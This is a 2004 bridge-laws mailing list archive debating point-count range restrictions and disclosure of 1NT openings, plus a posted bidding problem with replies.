> To: > Sent: Thursday, January 08, 2004 7:59 PM > Subject: RE: [blml] Range restrictions > > > > > > > > > -----Original Message----- > > > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > > > Behalf Of Grattan Endicott > > > Sent: Friday, 9 January 2004 7:28 a.m. > > > To: blml@rtflb.org > > > Subject: Re: [blml] Range restrictions > > > > > > > > > > > +=+ Not automatically. It may be judgement on the > > > occasion, not habitual. He needs evidence of a > > > concealed agreement, explicit or implicit, before > > > he rushes to adjust the score. Of course, in time > > > he, or colleagues, may be called more than once to > > > the pair; then he and the partner are both well aware > > > of the propensity - and each knows that the other > > > knows. Or on the first occasion the player may say > > > "I would always open such an eleven count" in > > > which case the answer is "well, please put it on your > > > CC" as the TD adjusts the score. > > > > I disagree with this. > > > > Because one member of a partnership will always open 'such > > an eleven count' does not necessarily make it part of the > > partnership's agreements that must be disclosed on the > > convention card. > > > +=+ Go back to the question. It was a premise that > the method was one of partnership agreement. +=+ It may well have been but that is contrary to what you have written above: "It may be judgement on the occasion, not habitual" and that "He needs evidence..." In any case the statement "*I* would always open such an eleven count" is not evidence of a partnership agreement. Wayne > > From nigel.guthrie@ntlworld.com Thu Jan 8 22:07:37 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 8 Jan 2004 22:07:37 -0000 Subject: [blml] Range restrictions References: <001b01c3d621$029ffc90$659637d2@Desktop> Message-ID: <002001c3d633$f02f1740$d19868d5@tinyhrieuyik> [Wayne Burrows] > Are you [David and Ton] saying we shouldn't exercise > judgement or that we should only accept mainstream > judgement? [Grattan Endicott] Absolutely not OK [to agree to open some 11 counts while describing your notrump range as 12-14]. Add 'some elevens'. Opponent is entitled to know whether you play the point count strictly or judge to include some elevens/fifteens.+=+ [Nigel] Thank you Grattan and Richard James Hills, for coming out so clearly on the side of the angels. It seems to me that Ton Kooijman and David Stevenson are saying that you can "adjust" your HCP provided that your "judgement" coincides with theirs' -- or at least with the TD's. Since Bridge is a game of judgement this would mean that even more results would be decided by TDs and Acs instead of at the bridge table. One last despairing attempt to convince Ton and David of the error of their ways :) Most players would agree with Ton that AKQ8765432 A A A is a better hand than KQJ2 KQJ KQJ KQJ even if the latter has more honour cards (and more HCP). Furthermore, no experienced bridge player would deny the importance of texture and honour placement. Manifestly, point count is only one crude way to describe a hand but should that give us a licence to lie about it? Especially when our EBU orange book goes out of its way to disambiguate it by specifying A=4 K=3 Q=2 J=1. Finally, I like Richard Willey's ideas to enhance disclosure by keeping an on-line searchable database of individual history. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From richard.hills@immi.gov.au Thu Jan 8 23:01:32 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 9 Jan 2004 09:01:32 +1000 Subject: [blml] Range restrictions Message-ID: Ton Kooijman: >>Let us be happy that we agree on your other answers; >>but not on this one. >> >>Not if your undefined grain of salt means that a >>player has to write down AT98 AT98 K9 T98 as an >>exception for the 12-14 NT. >> >>You are not a bridgeplayer but a proud bookkeeper >>handling playing cards. Monty Python: >It's fun to charter an accountant >And sail the wide accountancy, >To find, explore the funds offshore >And skirt the shoals of bankruptcy! > >It can be manly in insurance. >We'll up your premium semi-annually. >It's all tax deductible. >We're fairly incorruptible, >We're sailing on the wide accountancy! Richard James Hills: My fairly incorruptible solution to being a humble bookeeper who gives full disclosure, would be to write in bold in the Pre-Alert section of my system card: "Warning! Our partnership does not rigidly use the Milton Work point count. Hands may be slightly upgraded or downgraded due to the presence or absence of tens and nines." Best wishes The Crimson Permanent Assurance -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From jaapvanderneut@hotmail.com Thu Jan 8 23:11:28 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Fri, 9 Jan 2004 00:11:28 +0100 Subject: [blml] Range restrictions References: Message-ID: Richard James Hills: My fairly incorruptible solution to being a humble bookeeper who gives full disclosure, would be to write in bold in the Pre-Alert section of my system card: "Warning! Our partnership does not rigidly use the Milton Work point count. Hands may be slightly upgraded or downgraded due to the presence or absence of tens and nines." Jaap: Since the above (not taking Milton too seriously) is normal and The Walrus is the exception it will be more efficient to reverse this 'warning'. Let people that never apply judgement write that on their system cards. There is a expression in Dutch that translates to 'points don't take tricks'. The real problem is that HCP is not that good a hand evaluation method (ok it is simple) and so logically HCP is also not that good at conveying information about partnership methods. Or for regulation purposes (although the simplicity is very important for this purpose). ----- Original Message ----- From: To: Sent: Friday, January 09, 2004 12:01 AM Subject: Re: [blml] Range restrictions Ton Kooijman: >>Let us be happy that we agree on your other answers; >>but not on this one. >> >>Not if your undefined grain of salt means that a >>player has to write down AT98 AT98 K9 T98 as an >>exception for the 12-14 NT. >> >>You are not a bridgeplayer but a proud bookkeeper >>handling playing cards. Monty Python: >It's fun to charter an accountant >And sail the wide accountancy, >To find, explore the funds offshore >And skirt the shoals of bankruptcy! > >It can be manly in insurance. >We'll up your premium semi-annually. >It's all tax deductible. >We're fairly incorruptible, >We're sailing on the wide accountancy! Richard James Hills: My fairly incorruptible solution to being a humble bookeeper who gives full disclosure, would be to write in bold in the Pre-Alert section of my system card: "Warning! Our partnership does not rigidly use the Milton Work point count. Hands may be slightly upgraded or downgraded due to the presence or absence of tens and nines." Best wishes The Crimson Permanent Assurance ---------------------------------------------------------------------------- ---------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. This email, including attachments, may contain confidential, legally privileged and/or copyright information, the unauthorised use of which is prohibited. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to be the view of the Department of Immigration and Multicultural and Indigenous Affairs (DIMIA). DIMIA respects your privacy and has obligations under the Privacy Act 1988 (see www.immi.gov.au). ---------------------------------------------------------------------------- ---------- _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From blml@blakjak.com Fri Jan 9 00:49:30 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 9 Jan 2004 00:49:30 +0000 Subject: [blml] Range restrictions In-Reply-To: <001b01c3d621$029ffc90$659637d2@Desktop> References: <001b01c3d621$029ffc90$659637d2@Desktop> Message-ID: Wayne Burrows wrote >> Behalf Of David Stevenson >> It seems to me that Wayne is saying that if we accept judgement as >> part of bridge then we must accept the player's own >> judgement. But I do >> not agree with him. >Are you saying we shouldn't exercise judgement or that we should only >accept mainstream judgement? I am saying that Regulating Authorities' rules can only make sense if they are based on mainstream judgement. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Jan 9 00:51:59 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 9 Jan 2004 00:51:59 +0000 Subject: [blml] Range Restrictions In-Reply-To: <010820041942.10546.36cd@comcast.net> References: <010820041942.10546.36cd@comcast.net> Message-ID: wrote >> The best disclosure in bridge is not Full, which is nearly impossible, >> and remarkably unhelpful if it were possible; but Adequate. >> >> If I ask what your opening 1NT is then I want to know it in general >> terms in 99% of cases, and can ask a supplementary question in the 1% of >> cases. Thus a simplistic answer is helpful in the first case. >> >> Even in the 1% of cases, I usually want to know something specific, >> which is one of the main advantages of questions over CCs. >> >> Complex answers, or very very complex answers based on databases, are >> just unhelpful, and do not promote the game of bridge. >We'll have to agree to diaagree then. > >The existing regulatory structure represents an attempt to optimize >regulations to a particular playing environment. If you shift the >playing environment, it seems perfectly reasonable to change regulations. > >Computers are marvelously efficient at storing information and >crunching data. It seems very strange not to take advantage of this >power to solve some nagging problems. I agree completely that >information overload could be a problem. Individuals such as David >should be permitted to "turn off" data that they don't want. >Regardless, this should not mean that other individuals can't take >advantage of new opportunities. > >Case in point: David prefers to ask questions rather than to rely on >Convention Cards. It is well know that asking questions introduces >significant UI. Unless David choses to ask the same set of questions >ever time a given auction occurs he is going to provide information to >his partner. > >Luckily, Electronic Bridge allows David to ask questions without >providing as much UI to partner. [There will still be noticable >delays, but no one can be sure why this is occuring]. With this said >and done, I still think that a Convention Card should be the primary >source of information that David references. > >First: the convention card (or system file or whatever it evolved >into) should be the ultimate arbitrator regarding a partnership's >specific set of agreements. > >Second: Is is inefficient and introduces additional delays to force >players to type out information that has already been recorded. It is totally inefficient if people cannot find out the information that *they* want, but have to rely on what their opponent is prepared to give them. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From ereppert@rochester.rr.com Fri Jan 9 01:10:35 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 8 Jan 2004 20:10:35 -0500 Subject: [blml] Bridge Proprieties: Stop Card In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1516@lonsc-s-031.europe.shell.com> Message-ID: On Thursday, Jan 8, 2004, at 04:59 US/Eastern, Hinden, Frances SI-PXS wrote: > Points well taken. These would make good teaching aids. May I use them > as such? :-) > > > Certainly. The first was a 1430/3041 error - they bid [snip descriptions] Thanks! From ereppert@rochester.rr.com Fri Jan 9 01:30:58 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 8 Jan 2004 20:30:58 -0500 Subject: [blml] Range restrictions In-Reply-To: <001b01c3d621$029ffc90$659637d2@Desktop> Message-ID: <7A2921C8-4243-11D8-AB94-0030656F6826@rochester.rr.com> On Thursday, Jan 8, 2004, at 14:52 US/Eastern, Wayne Burrows wrote: > Are you saying we shouldn't exercise judgement or that we should only > accept mainstream judgement? I'm probably wrong, given the way things have gone today, but I think what he's saying is that it is not the players' judgment of a hand that governs, but the TD's (or a committee's). IOW, the situation is that two players (one who bid, one opponent), at least, disagree on this judgment question. So they call the TD in to arbitrate, and he picks one or the other. If the one whose opinion was not upheld feels sufficiently strongly about it, he can appeal. I suppose one could ask "why is this TD's judgment any better than mine?" but I think that's one of the reasons we have an appeals process (which says to me that an appeal on a judgment matter should *not* be adjudicated - nor a committee influenced - by the same TD who made the original call. This would be especially important, to my mind, where a committee is not available.) From wayne.burrows@xtra.co.nz Fri Jan 9 01:32:44 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Fri, 9 Jan 2004 14:32:44 +1300 Subject: [blml] Range restrictions In-Reply-To: Message-ID: <001601c3d650$7b7d8fe0$482e56d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of David Stevenson > Sent: Friday, 9 January 2004 12:50 p.m. > To: blml@rtflb.org > Subject: Re: [blml] Range restrictions > > > Wayne Burrows wrote > >> Behalf Of David Stevenson > > >> It seems to me that Wayne is saying that if we accept > judgement as > >> part of bridge then we must accept the player's own > >> judgement. But I do > >> not agree with him. > > >Are you saying we shouldn't exercise judgement or that we should only > >accept mainstream judgement? > > I am saying that Regulating Authorities' rules can only > make sense if > they are based on mainstream judgement. I cannot see how a regulation that allows one player to use judgement on one hand but does not allow another player to exercise judgement on a different hand is at all fair. "But I played against 'localexpertDavid' and he opened on 11 points, why can I not????" Wayne > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on > OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From nigel.guthrie@ntlworld.com Fri Jan 9 03:55:48 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 9 Jan 2004 03:55:48 -0000 Subject: [blml] Range restrictions References: <001b01c3d621$029ffc90$659637d2@Desktop> Message-ID: <01c801c3d664$7837c3a0$219468d5@tinyhrieuyik> Ton and David and Co "would never be slave to a knave." They state that a regular expert partnership is acting within the law if they declare a 12-14 HCP notrump but always open 1N with hands like AT9x AT9x K9x T9, claiming that the high card quality, intermediates, and suit length make up for the missing HCP. Now for something completely different :) :) :) :) Are the same regular expert partnership still acting within the law if they declare their weak twos to be 5-9 HCP and a minimum of six cards but always open 2S with hands like AKQ87 J96 T87 T9, claiming that the high card quality, intermediates, and HCP make up for the missing suit length? Herman, please help me out with equivalents! points-schmointz - length-smength? puntenkul - ? Walrus - ? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From richard.hills@immi.gov.au Fri Jan 9 07:14:31 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Fri, 9 Jan 2004 17:14:31 +1000 Subject: [blml] Everybody run, the homecoming queen's got a gun Message-ID: Grand National Open Teams, Metropolitan Final Dlr: North Vul: East-West The bidding has gone: WEST NORTH EAST SOUTH --- 1S(1) Double 4S(2) Double 5D Double ? (1) Alerted; either 0-2 spades, or 6+ spades, with 8-12 hcp (2) Natural and preemptive You, South, hold: AT987632 A87 94 void What call do you make? What other calls do you consider making? Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From freej@telstra.com Fri Jan 9 07:57:06 2004 From: freej@telstra.com (freej) Date: Fri, 09 Jan 2004 15:57:06 +0800 Subject: [blml] Everybody run, the homecoming queen's got a gun Message-ID: <119e191207ad.1207ad119e19@email.bigpond.com> If 1S can be opened with 7+D = consider 5S=2C choose PASS Otherwise consider PASS or 5S If partner is always reliable =3A PASS Else 5S ----- Original Message ----- From=3A richard=2Ehills=40immi=2Egov=2Eau Date=3A Friday=2C January 9=2C 2004 3=3A14 pm Subject=3A Re=3A =5Bblml=5D Everybody run=2C the homecoming queen=27s got= a gun =3E = =3E = =3E = =3E = =3E Grand National Open Teams=2C Metropolitan Final =3E = =3E Dlr=3A North =3E Vul=3A East-West =3E = =3E The bidding has gone=3A =3E = =3E WEST NORTH EAST SOUTH =3E --- 1S(1) Double 4S(2) =3E Double 5D Double =3F =3E = =3E (1) Alerted=3B either 0-2 spades=2C or 6+ spades=2C =3E with 8-12 hcp =3E (2) Natural and preemptive =3E = =3E You=2C South=2C hold=3A =3E = =3E AT987632 =3E A87 =3E 94 =3E void =3E = =3E What call do you make=3F =3E What other calls do you consider making=3F =3E = =3E Best wishes =3E = =3E Richard James Hills =3E ------------------------------------------------------------------- =3E ------------------- =3E Important Warning=3A If you have received this email in error=2C ple= ase =3E advise the sender and delete the message and attachments = =3E immediately=2E =A0This =3E email=2C including attachments=2C may contain confidential=2C legally= = =3E privilegedand/or copyright information=2C the unauthorised use of = =3E which is prohibited=2E =3E Any views expressed in this email are those of the individual sender=2C= =3E except where the sender expressly=2C and with authority=2C states the= m = =3E to be =3E the view of the Department of Immigration and Multicultural and = =3E IndigenousAffairs (DIMIA)=2E =A0DIMIA respects your privacy and has = =3E obligations under the =3E Privacy Act 1988 (see www=2Eimmi=2Egov=2Eau)=2E =3E ------------------------------------------------------------------- =3E ------------------- =3E = =3E = =3E =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F= =5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F=5F =3E blml mailing list =3E blml=40rtflb=2Eorg =3E http=3A//www=2Eamsterdamned=2Eorg/mailman/listinfo/blml =3E = From cyaxares@lineone.net Fri Jan 9 10:00:33 2004 From: cyaxares@lineone.net (Grattan Endicott) Date: Fri, 9 Jan 2004 10:00:33 -0000 Subject: [blml] Range restrictions References: Message-ID: <004901c3d698$32d1f720$1929e150@endicott> Grattan Endicott To: ; Sent: Thursday, January 08, 2004 11:11 PM Subject: Re: [blml] Range restrictions > > The real problem is that HCP is not that good a hand > evaluation method (ok it is simple) and so logically HCP > is also not that good at conveying information about > partnership methods. Or for regulation purposes (although > the simplicity is very important for this purpose). > +=+ The simplicity is the key to its use in regulations. It makes for easy communication to players of all degrees. I have not heard it suggested, in R&R or appeals committees, that players should not adopt hand valuation methods they choose, but in considering their compliance with regulation they must also observe the limits of the clumsy, inaccurate, Milton Work Count if that is in the regulation. There is nothing new in all this; in suit contract evaluation I was brought up on LTC and have it deeply ingrained into my contemplation pf hands. That goes back to around 1950 or so in my case. But nothing is really perfect and in the end gut feeling and impulse do come into it. We 'know' a hand when we look at it. That is why this whole thread is interesting but not really going anywhere. Regular partners do know more about our tendencies than we know ourselves - and occasionally are frank enough to tell us! - I just think we should be equally open with our opponents and not hide behind the contrivance of 'judgement' when the partnership knows its habits full well. ~ Grattan ~ +=+ From nigel.guthrie@ntlworld.com Fri Jan 9 10:46:58 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 9 Jan 2004 10:46:58 -0000 Subject: [blml] Everybody run, the homecoming queen's got a gun References: Message-ID: <006d01c3d69d$fcc84a20$689868d5@tinyhrieuyik> [Richard James Hills] Grand National Open Teams, Metropolitan Final Dlr: North Vul: East-West WEST NORTH EAST SOUTH --- 1S(1) Double 4S(2) Double 5D Double ? (1) Alerted; either 0-2 spades, or 6+ spades, with 8-12 hcp (2) Natural and preemptive You, South, hold: AT987632 A87 94 void What call do you make? What other calls do you consider making? [Nigel] 6D=10 5D=8 5H=4 5N=1 The effect is almost as if you opened 4S. If partner has spades and 8-12 HCP, he is unlikely to be worth a slam try over a pre-empt. Again, I did not alert 5D, so, presumably, I believe that it is natural (unless there is a local rule about not alerting bids above 3N). Anyway, partner is unlikely to be making a slam try with spades and 8-12 HCP opposite a pre-empt. So I guess that partner has short spades and long diamonds. Again, an expert is unlikely to increase the level, in the speculative hope of improving the contract, unless he has a good hand with long strong diamonds say, - KQx AQJxxxxx Ax Pass is a sound conservative action, but 6D is also reasonable. 6D is also a safety play, in case a wheel has come off. Lacking specific agreements, I would not further muddy the waters with bids like 5H or 5N. In all recent cases submitted by Richard, I feel that if partner has bid in tempo, there are several such LAs. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From t.kooyman@worldonline.nl Fri Jan 9 10:57:10 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Fri, 9 Jan 2004 11:57:10 +0100 Subject: [blml] Range restrictions Message-ID: <009701c3d69f$580f7ce0$d980b6d4@LNV> > > However there is nothing in the regulations nor should there be > > that favours good judgement over poor judgement. > Once again I don't understand what you want to say. > Every detail in bridge favours good judgement above poor. > To phrase Grattan: such statement is an unannounced implicit agreement in > regulations and in the laws themselves. > Of course you are allowed to use your own judgement, but the decision to > continue bidding after a hesitation by partner will be judged by the TD. And > good judgement will hold and poor will loose. > > ton > > Therefore if you believe that you judge hand A is better than hand B > > and I believe that hand B is better than hand A. We both should be > > allowed to exercise our own judgement. > > > > > > Wayne > From Frances.Hinden@Shell.com Fri Jan 9 11:21:44 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Fri, 9 Jan 2004 11:21:44 -0000 Subject: [blml] Everybody run, the homecoming queen's got a gun Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB152B@lonsc-s-031.europe.shell.com> >Grand National Open Teams, Metropolitan Final >Dlr: North >Vul: East-West >The bidding has gone: >WEST NORTH EAST SOUTH >--- 1S(1) Double 4S(2) >Double 5D Double ? >(1) Alerted; either 0-2 spades, or 6+ spades, > with 8-12 hcp >(2) Natural and preemptive >You, South, hold: >AT987632 >A87 >94 >void >What call do you make? >What other calls do you consider making? >Richard James Hills Frances: Pass. If the double of 4S was penalties, I pass. Easy. If the double of 4S was takeout (and the double of 1S was some = value-type effort or takeout or something else unspecific) then what are = my agreements: does 8-12 hcp and 0-2 spades include the possibility of = 7 or 8 diamonds? If so, I pass. If not, partner (or the pack) has psyched and he has 4- or 5- card spade = support and wants a diamond lead. But we've just been doubled; I can = pass and find out because he will pull to spades. In fact, the only hand opposite which I should not pass is a 1S opening = bid that is making a slam try... but even opposite that I can bid on = over partner's 5S sign-off so I'm still safe. From nigel.guthrie@ntlworld.com Fri Jan 9 11:51:45 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 9 Jan 2004 11:51:45 -0000 Subject: [blml] Everybody run, the homecoming queen's got a gun References: <006d01c3d69d$fcc84a20$689868d5@tinyhrieuyik> Message-ID: <008c01c3d6a6$f5766c80$689868d5@tinyhrieuyik> > [Richard James Hills] > Grand National Open Teams, Metropolitan Final > Dlr: North Vul: East-West > WEST NORTH EAST SOUTH > --- 1S(1) Double 4S(2) > Double 5D Double ? > (1) Alerted; either 0-2 spades, or 6+ spades, > with 8-12 hcp > (2) Natural and preemptive > You, South, hold: AT987632 A87 94 void > What call do you make? > What other calls do you consider making? > > [Nigel] 6D=10 5D=8 5H=4 5N=1 > The effect is almost as if you opened 4S. > If partner has spades and 8-12 HCP, he is unlikely > to be worth a slam try over a pre-empt. Again, I > did not alert 5D, so, presumably, I believe that it > is natural (unless there is a local rule about not > alerting bids above 3N). Anyway, partner is unlikely > to be making a slam try with spades and 8-12 HCP > opposite a pre-empt. So I guess that partner has > short spades and long diamonds. Again, an expert > is unlikely to increase the level, in the > speculative hope of improving the contract, unless > he has a good hand with long strong diamonds say, > - KQx AQJxxxxx Ax > Pass is a sound conservative action, but 6D is also > reasonable. 6D is also a safety play, in case a > wheel has come off. Lacking specific agreements, > I would not further muddy the waters with bids like > 5H or 5N. > > In all recent cases submitted by Richard, I feel that > if partner has bid in tempo, there are several such > LAs. On second thoughts, P=10, any other bid less than 5. Having just read Frances Hinden's answer, I belatedly noticed that 5D was doubled and I agree that her suggested pass is a stand-out --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From ehaa@starpower.net Fri Jan 9 13:18:02 2004 From: ehaa@starpower.net (Eric Landau) Date: Fri, 09 Jan 2004 08:18:02 -0500 Subject: [blml] Range restrictions In-Reply-To: <7A2921C8-4243-11D8-AB94-0030656F6826@rochester.rr.com> References: <001b01c3d621$029ffc90$659637d2@Desktop> Message-ID: <5.2.0.9.0.20040109080352.009ea810@pop.starpower.net> At 08:30 PM 1/8/04, Ed wrote: >On Thursday, Jan 8, 2004, at 14:52 US/Eastern, Wayne Burrows wrote: > >>Are you saying we shouldn't exercise judgement or that we should only >>accept mainstream judgement? > >I'm probably wrong, given the way things have gone today, but I think >what he's saying is that it is not the players' judgment of a hand >that governs, but the TD's (or a committee's). IOW, the situation is >that two players (one who bid, one opponent), at least, disagree on >this judgment question. So they call the TD in to arbitrate, and he >picks one or the other. If the one whose opinion was not upheld feels >sufficiently strongly about it, he can appeal. I suppose one could ask >"why is this TD's judgment any better than mine?" but I think that's >one of the reasons we have an appeals process (which says to me that >an appeal on a judgment matter should *not* be adjudicated - nor a >committee influenced - by the same TD who made the original call. This >would be especially important, to my mind, where a committee is not >available.) This is just be one more of many areas in which TDs/ACs need to use their judgment when applying the Law. But if they do their job right, they will judge players and situations, not hands. If a player opens a 12-14 1NT with 11 HCP, the TD, despite some of the scenarios suggested in this thread, isn't going to base his ruling on running his hand through some automatic algorithm that tells him definitively whether this particular 11 HCP is "worth" 12. He is going to ask the player, "What made you think that this hand was worth a 12-14 1NT opening?" and base his ruling on whether he gets a sensible answer. Any TD who can't be "trusted" to get this "right" can no more be trusted to get his ruling right in MI situations, UI situations, etc. Good directors ask for the information they need, and judge the quality of the answers they get. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 Fax (301) 589-4618 From blml@blakjak.com Fri Jan 9 16:22:56 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 9 Jan 2004 16:22:56 +0000 Subject: [blml] Range restrictions In-Reply-To: <5.2.0.9.0.20040109080352.009ea810@pop.starpower.net> References: <001b01c3d621$029ffc90$659637d2@Desktop> <7A2921C8-4243-11D8-AB94-0030656F6826@rochester.rr.com> <5.2.0.9.0.20040109080352.009ea810@pop.starpower.net> Message-ID: Eric Landau wrote >At 08:30 PM 1/8/04, Ed wrote: > >>On Thursday, Jan 8, 2004, at 14:52 US/Eastern, Wayne Burrows wrote: >> >>>Are you saying we shouldn't exercise judgement or that we should only >>>accept mainstream judgement? >> >>I'm probably wrong, given the way things have gone today, but I think >>what he's saying is that it is not the players' judgment of a hand >>that governs, but the TD's (or a committee's). IOW, the situation is >>that two players (one who bid, one opponent), at least, disagree on >>this judgment question. So they call the TD in to arbitrate, and he >>picks one or the other. If the one whose opinion was not upheld feels >>sufficiently strongly about it, he can appeal. I suppose one could ask >>"why is this TD's judgment any better than mine?" but I think that's >>one of the reasons we have an appeals process (which says to me that >>an appeal on a judgment matter should *not* be adjudicated - nor a >>committee influenced - by the same TD who made the original call. This >>would be especially important, to my mind, where a committee is not available.) > >This is just be one more of many areas in which TDs/ACs need to use >their judgment when applying the Law. But if they do their job right, >they will judge players and situations, not hands. > >If a player opens a 12-14 1NT with 11 HCP, the TD, despite some of the >scenarios suggested in this thread, isn't going to base his ruling on >running his hand through some automatic algorithm that tells him >definitively whether this particular 11 HCP is "worth" 12. He is going >to ask the player, "What made you think that this hand was worth a >12-14 1NT opening?" and base his ruling on whether he gets a sensible >answer. Any TD who can't be "trusted" to get this "right" can no more >be trusted to get his ruling right in MI situations, UI situations, >etc. Good directors ask for the information they need, and judge the >quality of the answers they get. Furthermore, being a judgement decision, he is not going to make the decision about it without consultation. TDs who make judgement decisions without consultation are not to be trusted anyway. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Jan 9 16:27:27 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 9 Jan 2004 16:27:27 +0000 Subject: [blml] Everybody run, the homecoming queen's got a gun In-Reply-To: References: Message-ID: RJH wrote >Grand National Open Teams, Metropolitan Final > >Dlr: North >Vul: East-West > >The bidding has gone: > >WEST NORTH EAST SOUTH >--- 1S(1) Double 4S(2) >Double 5D Double ? > >(1) Alerted; either 0-2 spades, or 6+ spades, > with 8-12 hcp >(2) Natural and preemptive > >You, South, hold: > >AT987632 >A87 >94 >void > >What call do you make? >What other calls do you consider making? This is a bit like your earlier question: there must be some other agreements that impinge on this. Is 1S the only opening with 0-2 spades and 8-12 HCP, for example? What would pd open with a 0=2=8=1 10-count? But I am certainly considering pass and 5S - it is just a question of which one I actually choose. And I remember this one as well! -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From wayne.burrows@xtra.co.nz Fri Jan 9 18:43:00 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Sat, 10 Jan 2004 07:43:00 +1300 Subject: [blml] Range restrictions In-Reply-To: <009701c3d69f$580f7ce0$d980b6d4@LNV> Message-ID: <001001c3d6e0$69085d00$d22d37d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Ton Kooijman > Sent: Friday, 9 January 2004 10:57 p.m. > To: Ton Kooijman; 'blml' > Subject: Re: [blml] Range restrictions > > > > > However there is nothing in the regulations nor should there be > > > that favours good judgement over poor judgement. > > > > Once again I don't understand what you want to say. > > Every detail in bridge favours good judgement above poor. > > To phrase Grattan: such statement is an unannounced > implicit agreement in > > regulations and in the laws themselves. > > Of course you are allowed to use your own judgement, but > the decision to > > continue bidding after a hesitation by partner will be > judged by the TD. > And > > good judgement will hold and poor will loose. > > > > ton If the regulation says 12-14 hcp are required for 1NT and if you argue that some hand with only 11 hcp is worth 12 hcp and are allowed to upgrade that hand then I must be a allowed to exercise a different judgement and upgrade a different hand. Wayne > > > > > > Therefore if you believe that you judge hand A is better > than hand B > > > and I believe that hand B is better than hand A. We both > should be > > > allowed to exercise our own judgement. > > > > > > > > > Wayne > > > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From nigel.guthrie@ntlworld.com Fri Jan 9 18:51:31 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Fri, 9 Jan 2004 18:51:31 -0000 Subject: [blml] Judgement Message-ID: <007801c3d6e1$b49d4fe0$5d9868d5@tinyhrieuyik> [: Nigel :] Two poker players take up bridge. They get bad results when opponents describe their 1N opener as 12-14 HCP but agree to open some good 11 counts. By way of retaliation, the poker players agree that when they lack normal opening values, they may still open as follows... With 2222 or 3333, open 1C With 4444 or 5555, open 1D With 6666 or 7777, open 1H With 8888 or 9999, open 1S With TTTT or JJJJ, open 1N They 